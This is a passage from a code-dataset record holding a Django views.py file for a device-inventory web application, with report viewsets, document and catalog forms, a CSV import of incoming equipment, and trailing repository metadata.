True, 'period': False, 'required': False},\n }\n\n fields_options = {\n 'device': {'type': {'catlg': 'device'}},\n 'department': {'type': {'catlg': 'department'}},\n 'stock': {'type': {'catlg': 'stock'}},\n 'person': {'type': {'catlg': 'person'}},\n 'qty': {'type': 'number'},\n }\n\n report_name = 'RepCurrentLocation'\n\n def create(self, request):\n filter_options = self.filter_options\n # print('request: ', request.data)\n filter_req = request.data['filter_req']\n\n for option, value in filter_req.items():\n if (type(value) is not list) and filter_options[option]['list'] and value:\n filter_req[option] = [value, ]\n\n location = []\n filter_vals_diff = {}\n if 'device' in filter_req and filter_req['device']:\n devices = Device.objects.filter(id__in=filter_req['device'])\n else:\n devices = Device.objects.all()\n\n if 'date_to' in filter_req and filter_req['date_to']:\n date_to_obj = datetime.datetime.strptime(filter_req['date_to'], '%Y-%m-%d')\n date_to = date_to_obj.date() + datetime.timedelta(days=1)\n else:\n date_to = datetime.datetime.today() + datetime.timedelta(days=1)\n\n if 'department' in filter_req and filter_req['department']:\n filter_vals_diff['department'] = Department.objects.get(id__in=filter_req['department'])\n\n if 'stock' in filter_req and filter_req['stock']:\n filter_vals_diff['stock'] = Stock.objects.get(id__in=filter_req['stock'])\n\n if 'person' in filter_req and filter_req['person']:\n filter_vals_diff['person'] = Person.objects.get(id__in=filter_req['person'])\n\n for device in devices:\n location_rec = RegDeviceStock.objects.current_location(device=device, date=date_to)\n filter_diff = DictDiffer(location_rec, filter_vals_diff)\n if len(filter_diff.changed()) == 0:\n\n if type(location_rec['department']) is not str and location_rec['department'] is not None:\n location_rec['department'] = location_rec['department'].pk\n else:\n location_rec['department'] = ''\n\n if type(location_rec['stock']) is not str and location_rec['stock'] is not None:\n location_rec['stock'] = location_rec['stock'].pk\n else:\n location_rec['stock'] = ''\n\n if type(location_rec['person']) is not str and location_rec['person'] is not None:\n location_rec['person'] = location_rec['person'].pk\n else:\n location_rec['person'] = ''\n location_rec['device'] = device.pk\n location.append(location_rec)\n return Response(location)\n\n\nclass RepStatementDocs(Report):\n filter_options = {\n \"device\": {'label': 'Устройство', 'type': {'catlg': 'device'}, 'list': False, 'period': False, 'required': True},\n 'date_from': {'label': 'Дата начала', 'type': 'date', 'list': False, 'period': False, 'required': False},\n 'date_to': {'label': 'Дата окончания', 'type': 'date', 'list': False, 'period': False, 'required': False},\n 'department': {'label': 'Подразделение', 'type': {'catlg': 'department'}, 'list': False, 'period': False, 'required': False},\n 'stock': {'label': 'Склад', 'type': {'catlg': 'stock'}, 'list': False, 'period': False, 'required': False},\n 'person': {'label': 'Сотрудник', 'type': {'catlg': 'person'}, 'list': False, 'period': False, 'required': False},\n }\n\n fields_options = {\n 'base_doc': {'type': 'doc'},\n 'department': {'type': {'catlg': 'department'}},\n 'stock': {'type': {'catlg': 'stock'}},\n 'person': {'type': {'catlg': 'person'}},\n 'qty': {'type': 'number'},\n }\n\n report_name = 'RepStatementDocs'\n\n def create(self, request):\n filter_options = self.filter_options\n # print('request: ', request.data)\n filter_req = request.data['filter_req']\n\n for option, value in filter_req.items():\n if (type(value) is not list) and filter_options[option]['list'] and value:\n filter_req[option] = [value, ]\n\n location = []\n filter_vals = {}\n\n if 'device' in filter_req and filter_req['device']:\n filter_vals['device'] = Device.objects.get(id=filter_req['device'])\n\n if 'date_from' in filter_req and filter_req['date_from']:\n date_from_obj = datetime.datetime.strptime(filter_req['date_from'], '%Y-%m-%d')\n filter_vals['reg_date__gte'] = date_from_obj.date()\n\n if 'date_to' in filter_req and filter_req['date_to']:\n date_to_obj = datetime.datetime.strptime(filter_req['date_to'], '%Y-%m-%d')\n filter_vals['reg_date__lte'] = date_to_obj.date() + datetime.timedelta(days=1)\n\n if 'department' in filter_req and filter_req['department']:\n filter_vals['department'] = Department.objects.get(id=filter_req['department'])\n\n if 'stock' in filter_req and filter_req['stock']:\n filter_vals['stock'] = Stock.objects.get(id=filter_req['stock'])\n\n if 'person' in filter_req and filter_req['person']:\n filter_vals['person'] = Person.objects.get(id=filter_req['person'])\n\n reg_recs = RegDeviceStock.objects.filter(**filter_vals).order_by('-reg_date')\n\n for row in reg_recs:\n location_rec = {}\n doc_multi_operation = row.base_doc._REG_CONST_ATTR_MAP['RegDeviceStock']['_MULTI']\n doc_type = row.base_doc_type.model\n\n if row.operation_type == '+':\n location_rec['base_doc'] = {'docType': doc_type, 'docId': row.base_doc.id}\n location_rec['qty'] = RegDeviceStock.objects.saldo(device=row.device, date_to=row.reg_date)\n\n if type(row.department) is not str and row.department is not None:\n location_rec['department'] = row.department.pk\n else:\n location_rec['department'] = ''\n\n if type(row.stock) is not str and row.stock is not None:\n location_rec['stock'] = row.stock.pk\n else:\n location_rec['stock'] = ''\n\n if type(row.person) is not str and row.person is not None:\n location_rec['person'] = row.person.pk\n else:\n location_rec['person'] = ''\n\n location_rec['date'] = row.reg_date\n elif not doc_multi_operation:\n location_rec['base_doc'] = {'docType': doc_type, 'docId': row.base_doc.id}\n location_rec['qty'] = RegDeviceStock.objects.saldo(device=row.device, date_to=row.reg_date)\n location_rec['department'] = ''\n location_rec['stock'] = ''\n location_rec['person'] = ''\n location_rec['date'] = row.reg_date\n else:\n continue\n location.append(location_rec)\n\n return Response(location)\n\n\nclass DocIncomeViewSet(DocumentViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DocIncomeSerializer\n queryset = DocIncome.objects.all()\n\n\nclass DocWriteoffViewSet(DocumentViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DocWriteoffSerializer\n queryset = DocWriteoff.objects.all()\n\n\nclass DocMoveViewSet(DocumentViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DocMoveSerializer\n queryset = DocMove.objects.all()\n\n\nclass DocInventoryViewSet(DocumentViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DocInventorySerializer\n queryset = DocInventory.objects.all()\n\n @action(detail=True, url_path='fill_saldo')\n def fill_saldo(self, request, pk=None):\n doc = self.serializer_class.Meta.model.objects.get(id=pk)\n table_unit_filled_saldo = doc.fill_saldo(department=doc.department, stock=doc.stock)\n return HttpResponse(json.dumps(table_unit_filled_saldo))\n\n\nclass RegDeviceStockViewSet(RegistryViewSet, viewsets.ReadOnlyModelViewSet):\n serializer_class = serializers.RegDeviceStockSerializer\n queryset = RegDeviceStock.objects.all()\n fields_options = {\n 'operation_type': {'type': 'text', 'label': 'Операция'},\n 'reg_date': {'type': 'date', 'label': 'Дата'},\n 'base_doc': {'type': 'doc', 'label': 'Документ-основание'},\n 'device': {'type': {'catlg': 'device'}, 'label': 'Устройство'},\n 'department': {'type': {'catlg': 'department'}, 'label': 'Подразделение'},\n 'stock': {'type': {'catlg': 'stock'}, 'label': 'Склад'},\n 'person': {'type': {'catlg': 'person'}, 'label': 'Сотрудник'},\n 'qty': {'type': 'number', 'label': 'Количество'},\n }\n\n\nclass DeviceViewSet(CatalogViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DeviceSerializer\n queryset = Device.objects.all()\n\n\nclass DepartmentViewSet(CatalogViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DepartmentSerializer\n queryset = Department.objects.all()\n\n\nclass StockViewSet(CatalogViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.StockSerializer\n queryset = Stock.objects.all()\n\n\nclass PersonViewSet(CatalogViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.PersonSerializer\n queryset = Person.objects.all()\n\n\nclass NomenclatureViewSet(CatalogViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.NomenclatureSerializer\n queryset = Nomenclature.objects.all()\n\n\nclass DeviceTypeViewSet(CatalogViewSet, viewsets.ModelViewSet):\n serializer_class = serializers.DeviceTypeSerializer\n queryset = DeviceType.objects.all()\n\n\ndef home(request):\n return render(request, 'index.html')\n\n\ndef selectize_ajax_query(request):\n cache = caches['selectize']\n if 'q' in request.GET:\n q = request.GET['q']\n if 'field_id' not in request.GET:\n raise Http404('No \"field_id\" provided.')\n field_id = request.GET['field_id']\n try:\n widget_id = signing.loads(field_id)\n except BadSignature:\n raise Http404('Invalid \"field_id\".')\n widget_attrs = cache.get('selectize_widget_%s' % widget_id)\n if widget_attrs is None:\n raise Http404('field_id not found')\n widget = widget_attrs['cls'](**widget_attrs)\n\n search_result = widget.filter_queryset(q)\n response_dict = [{'text': str(item), 'value': item.id} for item in search_result]\n json_dict = json.dumps(response_dict)\n return HttpResponse(json_dict)\n\n\nclass DictDiffer(object):\n \"\"\"\n Calculate the difference between two dictionaries as:\n (1) items added\n (2) items removed\n (3) keys same in both but changed values\n (4) keys same in both and unchanged values\n \"\"\"\n\n def __init__(self, current_dict, past_dict):\n self.current_dict, self.past_dict = current_dict, past_dict\n self.set_current, self.set_past = set(current_dict.keys()), set(past_dict.keys())\n self.intersect = self.set_current.intersection(self.set_past)\n\n def added(self):\n return self.set_current - self.intersect\n\n def removed(self):\n return self.set_past - self.intersect\n\n def changed(self):\n return set(o for o in self.intersect if self.past_dict[o] != self.current_dict[o])\n\n def unchanged(self):\n return set(o for o in self.intersect if self.past_dict[o] == self.current_dict[o])\n\n\n\n\ndef main(request):\n return render_to_response('base.html',)\n\n\ndef doc_type_error(request):\n return render_to_response('doc/doc_type_error.html',)\n\n\ndef catlg_type_error(request):\n return render_to_response('catlg/catlg_type_error.html',)\n\n\ndef reg_type_error(request):\n return render_to_response('reg/reg_type_error.html',)\n\n\n# Форма списка документов\ndef doc_list(request, doc_name):\n doc_type = get_doc_type(doc_name)\n if not doc_type:\n return HttpResponseRedirect('/doc_type_error/')\n model = doc_type['model']\n if request.method == 'POST':\n if 'delete' in request.POST:\n print(dict(request.POST))\n delete_doc_id = [k[7:] for k, v in dict(request.POST).items() if k[0:7] == 'doc_id_']\n print(delete_doc_id)\n\n doc_exist_follower = []\n for doc_id in delete_doc_id:\n doc = model.objects.get(id=doc_id)\n dd = doc.doc_delete()\n if not dd['success']:\n doc_exist_follower.append({'id': doc.id, 'name': str(doc)})\n if doc_exist_follower:\n print(doc_exist_follower)\n request.session['doc_delete_errors'] = doc_exist_follower\n doc_delete_status_url = '/doc/%s/status/doc_delete/0' % (doc_name, )\n return HttpResponseRedirect(doc_delete_status_url)\n\n doc_list = model.objects.all().order_by('-doc_date', '-doc_num')\n template_name = 'doc/%s/%s_list.html' % (doc_name, model.__name__.lower())\n return render(request, template_name, {'doc_list': doc_list})\n\n\ndef doc_delete_status(request, status, doc_name):\n template_name = 'delete_fail.html'\n return render(request, template_name, {'doc_name': doc_name, 'doc_delete_errors': request.session['doc_delete_errors']})\n\n\n# Форма документа\ndef doc_form(request, doc_id, doc_name):\n doc_type = get_doc_type(doc_name)\n if not doc_type:\n return HttpResponseRedirect('/doc_type_error/')\n model = doc_type['model']\n form_class = doc_type['form']\n formset_class = doc_type['formset']\n template_name = 'doc/%s/%s_form.html' % (doc_name, model.__name__.lower())\n if doc_id == 'new':\n doc_num = model.objects.get_doc_num()\n doc = model(doc_num=doc_num, doc_date=datetime.datetime.now(), active=False)\n else:\n doc = model.objects.get(id=doc_id)\n\n if request.method == 'POST':\n start = time.time()\n form = form_class(request.POST, instance=doc)\n formset = formset_class(request.POST, queryset=doc.get_table_unit())\n\n print('form.is_valid() - %s' % form.is_valid())\n print('formset.is_valid() - %s' % formset.is_valid())\n if form.is_valid() & formset.is_valid():\n\n form_cd = form.cleaned_data\n formset_cd = formset.cleaned_data\n if 'reg_write' in request.POST:\n dw = doc.doc_write(doc_attr=form_cd, table_unit=formset_cd)\n rd = doc.reg_delete()\n rw = doc.reg_write()\n print(rw)\n if dw['success'] & rd['success'] & rw['success']:\n print('-' * 50)\n print('PERIOD total: ' + str(time.time() - start))\n status_url = '/doc/%s/%s/status/reg_write/1' % (doc_name, doc.id)\n else:\n request.session['status_errors'] = (dw['data'], rd['data'], rw['data'])\n status_url = '/doc/%s/%s/status/reg_write/0' % (doc_name, doc.id)\n\n elif 'reg_delete' in request.POST:\n rd = doc.reg_delete()\n if rd['success']:\n status_url = '/doc/%s/%s/status/reg_delete/1' % (doc_name, doc.id)\n else:\n request.session['status_errors'] = (rd['data'],)\n status_url = '/doc/%s/%s/status/reg_delete/0' % (doc_name, doc.id)\n\n elif 'doc_write' in request.POST:\n if doc.active:\n dw = doc.doc_write(doc_attr=form_cd, table_unit=formset_cd)\n rd = doc.reg_delete()\n rw = doc.reg_write()\n\n if dw['success'] & rd['success'] & rw['success']:\n status_url = '/doc/%s/%s/status/doc_write/1' % (doc_name, doc.id)\n else:\n request.session['status_errors'] = (dw['data'], rd['data'], rw['data'])\n status_url = '/doc/%s/%s/status/doc_write/0' % (doc_name, doc.id)\n else:\n dw = doc.doc_write(doc_attr=form_cd, table_unit=formset_cd)\n if dw['success']:\n status_url = '/doc/%s/%s/status/doc_write/1' % (doc_name, doc.id)\n else:\n request.session['status_errors'] = (dw['data'],)\n status_url = '/doc/%s/%s/status/doc_write/0' % (doc_name, doc.id)\n elif 'doc_inventory_fill_saldo' in request.POST:\n print('doc_inventory_fill_saldo')\n form = form_class(instance=doc)\n fromset_init_data = doc.doc_inventory_fill_saldo(form_cd['department'], form_cd['stock'])\n formset = formset_class(queryset=model.objects.none(), initial=fromset_init_data)\n formset.extra += len(fromset_init_data)\n return render(request, template_name, {'form': form, 'formset': formset, 'active': doc.active})\n\n elif 'doc_delete' in request.POST:\n dd = doc.doc_delete()\n doc_exist_follower = []\n if not dd['success']:\n doc_exist_follower.append({'id': doc.id, 'name': str(doc)})\n request.session['doc_delete_errors'] = doc_exist_follower\n status_url = '/doc/%s/status/doc_delete/0' % (doc_name, )\n else:\n status_url = '/doc/%s' % doc_name\n return HttpResponseRedirect(status_url)\n else:\n form = form_class(instance=doc)\n if doc_id == 'new':\n formset = formset_class(queryset=model.objects.none())\n else:\n formset = formset_class(queryset=doc.get_table_unit())\n\n return render(request, template_name, {'form': form, 'formset': formset, 'active': doc.active})\n\n\ndef operation_status(request, obj_type_name, obj_id, obj_name, status, operation):\n if obj_type_name == 'doc':\n obj_type = get_doc_type(obj_name)\n if not obj_type:\n return HttpResponseRedirect('/doc_type_error/')\n elif obj_type_name == 'catlg':\n obj_type = get_catlg_type(obj_name)\n if not obj_type:\n return HttpResponseRedirect('/catlg_type_error/')\n model = obj_type['model']\n obj = model.objects.get(id=obj_id)\n if int(status):\n template_name = 'operation_success.html'\n return render(request, template_name, {'obj': obj, 'obj_name': obj_name, 'obj_type_name': obj_type_name, 'operation': OPERATION_DESCR[operation]})\n else:\n template_name = 'operation_fail.html'\n return render(request, template_name, {'obj': obj, 'obj_name': obj_name, 'obj_type_name': obj_type_name, 'status_errors': request.session['status_errors'], 'operation': OPERATION_DESCR[operation]})\n\n\ndef follower_manager(request, doc_leader_name, doc_leader_id, doc_follower_name):\n doc_leader_type = get_doc_type(doc_leader_name)\n model_leader = doc_leader_type['model']\n doc_leader = model_leader.objects.get(id=doc_leader_id)\n doc_follower_type = get_doc_type(doc_follower_name)\n model_follower = doc_follower_type['model']\n template_name = 'doc/%s/doc%s_followers_new_list.html' % (doc_leader_name, doc_leader_name)\n\n doc_follower_id = doc_leader.follower_create(doc_follower_name=doc_follower_name, model_follower=model_follower)\n return render(request, template_name, {'doc_leader': str(doc_leader), 'doc_follower_name': doc_follower_name, 'doc_follower_id': doc_follower_id})\n\n\ndef follower_hierarchy(request, doc_leader_name, doc_leader_id):\n doc_leader_type = get_doc_type(doc_leader_name)\n model_leader = doc_leader_type['model']\n doc_leader = model_leader.objects.get(id=doc_leader_id)\n template_name = 'doc/follower_hierarchy.html'\n #print(doc_leader.get_leader)\n return render(request, template_name, {'doc_leader': doc_leader, 'doc_up_leader': doc_leader.get_leader})\n\n\n# форма списка справочника\ndef catlg_list(request, catlg_name):\n catlg_type = get_catlg_type(catlg_name)\n if not catlg_type:\n return HttpResponseRedirect('/catlg_type_error/')\n model = catlg_type['model']\n\n if request.method == 'POST':\n if 'delete' in request.POST:\n print(dict(request.POST))\n delete_catlg_id = [k[9:] for k, v in dict(request.POST).items() if k[0:9] == 'catlg_id_']\n print(delete_catlg_id)\n\n catlg_exist_ref = []\n for catlg_id in delete_catlg_id:\n catlg = model.objects.get(id=catlg_id)\n cd = catlg.catlg_delete()\n if cd['success']:\n catlg_exist_ref.append({'id': catlg.id, 'name': str(catlg)})\n if catlg_exist_ref:\n print(catlg_exist_ref)\n request.session['catlg_delete_errors'] = catlg_exist_ref\n catlg_delete_status_url = '/catlg/%s/status/catlg_delete/0' % (catlg_name, )\n return HttpResponseRedirect(catlg_delete_status_url)\n\n catlg_list = model.objects.all().order_by(catlg_type['order_by'])\n template_name = 'catlg/%s/%s_list.html' % (catlg_name, model.__name__.lower())\n return render(request, template_name, {'catlg_list': catlg_list, 'model': model})\n\n\ndef catlg_delete_status(request, status, catlg_name):\n template_name = 'catlg_delete_fail.html'\n return render(request, template_name, {'catlg_name': catlg_name, 'catlg_delete_errors': request.session['catlg_delete_errors']})\n\n\n# форма справочника\ndef catlg_form(request, catlg_id, catlg_name):\n catlg_type = get_catlg_type(catlg_name)\n if not catlg_type:\n return HttpResponseRedirect('/catlg_type_error/')\n model = catlg_type['model']\n template_name = 'catlg/%s/%s_form.html' % (catlg_name, model.__name__.lower())\n form_class = catlg_type['form']\n\n if catlg_id == 'new':\n catlg = model()\n else:\n catlg = model.objects.get(id=catlg_id)\n\n if request.method == 'POST':\n form = form_class(request.POST, instance=catlg)\n\n if form.is_valid():\n form_cd = form.cleaned_data\n if 'catlg_write' in request.POST:\n cw = catlg.catlg_write(catlg_attr=form_cd)\n if cw['success']:\n status_url = '/catlg/%s/%s/status/catlg_write/1' % (catlg_name, catlg.id)\n else:\n request.session['status_errors'] = cw['data']\n status_url = '/catlg/%s/%s/status/catlg_write/0' % (catlg_name, catlg.id)\n elif 'catlg_delete' in request.POST:\n\n cd = catlg.catlg_delete()\n catlg_exist_ref = []\n if cd['success']:\n catlg_exist_ref.append({'id': catlg.id, 'name': str(catlg)})\n request.session['catlg_delete_errors'] = catlg_exist_ref\n status_url = '/catlg/%s/status/catlg_delete/0' % (catlg_name, )\n else:\n status_url = '/catlg/%s' % catlg_name\n return HttpResponseRedirect(status_url)\n else:\n if catlg_id == 'new':\n form = form_class()\n else:\n form = form_class(instance=catlg)\n\n return render(request, template_name, {'form': form, })\n\n\n# Вывод записей регистров по документу\ndef doc_reg_recs(request, doc_name, doc_id):\n doc_type = get_doc_type(doc_name)\n if not doc_type:\n return HttpResponseRedirect('/doc_type_error/')\n doc_model = doc_type['model']\n base_doc_type = ContentType.objects.get_for_model(doc_model)\n reg_recs = {}\n doc = doc_model.objects.get(id=doc_id)\n\n for reg in doc._REG_LIST:\n reg_model = getattr(sys.modules[__name__], reg)\n reg_recs.update([(reg, reg_model.objects.filter(base_doc_type=base_doc_type, base_doc_id=doc_id))])\n\n template_name = 'reg/doc_reg_recs.html'\n print(reg_recs)\n return render(request, template_name, {'reg_recs': reg_recs, 'doc': doc})\n\n\ndef report_current_location(request):\n location = []\n filter_vals = {}\n if request.method == 'POST':\n form = ReportCurrentLocationForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n\n if not cd['device'] == '' and not cd['device'] is None:\n devices = Device.objects.filter(id=cd['device'])\n else:\n devices = Device.objects.all()\n\n if not cd['date_to'] == '' and not cd['date_to'] is None:\n date_to = cd['date_to'] + datetime.timedelta(days=1)\n\n if not cd['department'] == '' and not cd['department'] is None:\n filter_vals['department'] = Department.objects.get(id=cd['department'])\n\n if not cd['stock'] == '' and not cd['stock'] is None:\n filter_vals['stock'] = Stock.objects.get(id=cd['stock'])\n\n if not cd['person'] == '' and not cd['person'] is None:\n filter_vals['person'] = Person.objects.get(id=cd['person'])\n\n for device in devices:\n location_rec = RegDeviceStock.objects.current_location(device=device, date=date_to)\n filter_diff = DictDiffer(location_rec, filter_vals)\n if len(filter_diff.changed()) == 0:\n location_rec['department'] = str(location_rec['department'])\n\n if location_rec['stock'] is None:\n location_rec['stock'] = ''\n else:\n location_rec['stock'] = str(location_rec['stock'])\n\n if location_rec['person'] is None:\n location_rec['person'] = ''\n else:\n location_rec['person'] = str(location_rec['person'])\n location_rec['device'] = str(device)\n location.append(location_rec)\n else:\n form = ReportCurrentLocationForm()\n\n template_name = 'report/current_location.html'\n return render(request, template_name, {'location': location, 'form': form})\n\n\ndef report_statement_docs(request):\n location = []\n filter_vals = {}\n if request.method == 'POST':\n form = ReportStatementDocsForm(request.POST)\n #print(form)\n if form.is_valid():\n cd = form.cleaned_data\n if not cd['device'] == '' and not cd['device'] is None:\n filter_vals['device'] = Device.objects.get(id=cd['device'])\n print(form['device'])\n print(cd['device'])\n \n\n if not cd['date_to'] == '' and not cd['date_to'] is None:\n filter_vals['reg_date__lte'] = cd['date_to'] + datetime.timedelta(days=1)\n if not cd['date_from'] == '' and not cd['date_from'] is None:\n filter_vals['reg_date__gte'] = cd['date_from']\n\n reg_recs = RegDeviceStock.objects.filter(**filter_vals).order_by('-reg_date')\n\n for row in reg_recs:\n location_rec = {}\n doc_multi_operation = row.base_doc._REG_CONST_ATTR_MAP['RegDeviceStock']['_MULTI']\n\n if row.operation_type == '+':\n location_rec['base_doc'] = str(row.base_doc)\n location_rec['base_doc_id'] = row.base_doc.id\n location_rec['base_doc_type'] = row.base_doc._meta.model_name[3:]\n location_rec['qty'] = RegDeviceStock.objects.saldo(device=row.device, date_to=row.reg_date)\n location_rec['department'] = str(row.department)\n\n if row.stock is None:\n location_rec['stock'] = ''\n else:\n location_rec['stock'] = str(row.stock)\n\n if row.person is None:\n location_rec['person'] = ''\n else:\n location_rec['person'] = str(row.person)\n location_rec['date'] = row.reg_date\n elif not doc_multi_operation:\n location_rec['base_doc'] = str(row.base_doc)\n location_rec['base_doc_id'] = row.base_doc.id\n location_rec['base_doc_type'] = row.base_doc._meta.model_name[3:]\n location_rec['qty'] = RegDeviceStock.objects.saldo(device=row.device, date_to=row.reg_date)\n location_rec['department'] = ''\n location_rec['stock'] = ''\n location_rec['person'] = ''\n location_rec['date'] = row.reg_date\n else:\n continue\n location.append(location_rec)\n\n else:\n form = ReportStatementDocsForm()\n\n template_name = 'report/statement_docs.html'\n return render(request, template_name, {'location': location, 'form': form})\n\n\ndef upload_file_success(request):\n return render_to_response('upload_file/upload_success.html',)\n\n\ndef upload_file_fail(request):\n return render_to_response('upload_file/upload_fail.html',)\n\n\ndef handle_uploaded_file(f):\n try:\n file_path = file_dir + f.name\n destination = open(file_path, 'wb+')\n for chunk in f.chunks():\n destination.write(chunk)\n destination.close()\n except Exception as err:\n return (False, str(err))\n else:\n return (True, file_path)\n\n\ndef upload_file(request):\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n huf = handle_uploaded_file(request.FILES['file'])\n cd = form.cleaned_data\n doc_date = cd['date']\n\n if huf[0]:\n doc_income_attr = {}\n doc_num = DocIncome.objects.get_doc_num() - 1\n with open(huf[1], newline='') as csvfile:\n reader = csv.DictReader(csvfile, delimiter=';')\n for line in reader:\n doc_attr = {}\n department = Department.objects.filter(name=line['Department_name'])\n if department:\n department = department[0]\n elif line['Department_name'] != '':\n department = Department(name=line['Department_name'])\n department.save()\n else:\n return HttpResponseRedirect('/upload_file/fail')\n\n if not str(department) in doc_income_attr:\n doc_num = doc_num + 1\n doc_attr['doc_num'] = doc_num\n doc_attr['doc_date'] = doc_date\n doc_attr['department'] = department\n doc_income_attr[str(department)] = {'doc_attr': doc_attr, 'table_unit': []}\n\n person = Person.objects.filter(surname=line['Person_surname'], name=line['Person_name'])\n if person:\n person = person[0]\n elif (line['Person_name'] != '') & (line['Person_surname'] != ''):\n person = Person(name=line['Person_name'], surname=line['Person_surname'], department=department)\n person.save()\n else:\n return HttpResponseRedirect('/upload_file/fail')\n\n deviceType = DeviceType.objects.filter(name=line['Device_deviceType'])\n if deviceType:\n deviceType = deviceType[0]\n elif (line['Device_deviceType'] != ''):\n deviceType = DeviceType(name=line['Device_deviceType'])\n deviceType.save()\n else:\n return HttpResponseRedirect('/upload_file/fail')\n\n nomenclature = Nomenclature.objects.filter(name=line['Device_name'])\n if nomenclature:\n nomenclature = nomenclature[0]\n elif (line['Device_name'] != ''):\n nomenclature = Nomenclature(name=line['Device_name'])\n nomenclature.save()\n else:\n return HttpResponseRedirect('/upload_file/fail')\n\n device = Device.objects.filter(serial_num=line['Device_serial_num'], inv_num=line['Device_inv_num'])\n if device:\n device = device[0]\n else:\n device = Device(serial_num=line['Device_serial_num'], inv_num=line['Device_inv_num'], name=nomenclature, deviceType=deviceType, comment=line['Device_comment'])\n device.save()\n \n table_unit_rec = {}\n table_unit_rec['id'] = None\n table_unit_rec['device'] = device\n table_unit_rec['person'] = person\n table_unit_rec['qty'] = 1\n doc_income_attr[str(department)]['table_unit'].append(table_unit_rec)\n\n for dep, attr in doc_income_attr.items():\n doc_income = DocIncome()\n doc_income.doc_write(doc_attr=attr['doc_attr'], table_unit=attr['table_unit'])\n return HttpResponseRedirect('/upload_file/success')\n else:\n print('huf - False')\n return HttpResponseRedirect('/upload_file/fail')\n else:\n form = UploadFileForm()\n template_name = 'upload_file/upload_form.html'\n return render(request, template_name, {'form': form})\n\n\n#--------------------------DONT USE NOW--------------------------------\ndef reg_search(request, reg_name, base_doc_id=None, doc_name=None):\n reg_type = get_reg_type(reg_name)\n if not reg_type:\n return HttpResponseRedirect('/reg_type_error/')\n reg_model = reg_type['model']\n template_name = 'reg/reg_search.html'\n form_class = reg_type['form']\n\n if doc_name:\n doc_type = get_doc_type(doc_name)\n if not doc_type:\n return HttpResponseRedirect('/doc_type_error/')\n base_doc_type = ContentType.objects.get_for_model(doc_type['model'])\n if base_doc_id:\n reg_recs = reg_model.objects.filter(base_doc_type=base_doc_type, base_doc_id=base_doc_id)\n else:\n reg_recs = reg_model.objects.filter(base_doc_type=base_doc_type)\n else:\n reg_recs = reg_model.objects.all()\n\n if request.method == 'POST':\n form = form_class(request.POST)\n\n if form.is_valid():\n form_cd = form.cleaned_data\n if 'reg_search' in request.POST:\n\n cw = catlg.catlg_write(catlg_attr=form_cd)\n if (not cw):\n status_url = '/catlg/%s/%s/status/catlg_write/1' % (catlg_name, catlg.id)\n else:\n request.session['status_errors'] = (cw, )\n status_url = '/catlg/%s/%s/status/catlg_write/0' % (catlg_name, catlg.id)\n return HttpResponseRedirect(status_url)\n else:\n form = form_class()\n print(reg_recs)\n\n return render(request, template_name, {'form': form, 'reg_recs': reg_recs})\n#----------------------------------------------------------------------", "repo_name": "konyshevn/inventory", "sub_path": "inv/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 46798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rest_framework.viewsets.ViewSet", "line_number": 80, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 80, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 85, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 85, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 85, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 87, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 87, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 87, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 114, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 114, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 110, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 123, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 123, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 123, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 125, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 125, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 116, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 133, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 133, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 133, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 135, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 135, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 127, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 146, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 146, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 137, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ViewSet", "line_number": 166, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 166, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 171, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 171, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 171, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 173, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 173, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 173, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 196, "usage_type": "call"}, {"api_name": "operator.or_", "line_number": 197, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets.ViewSet", "line_number": 207, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 207, "usage_type": 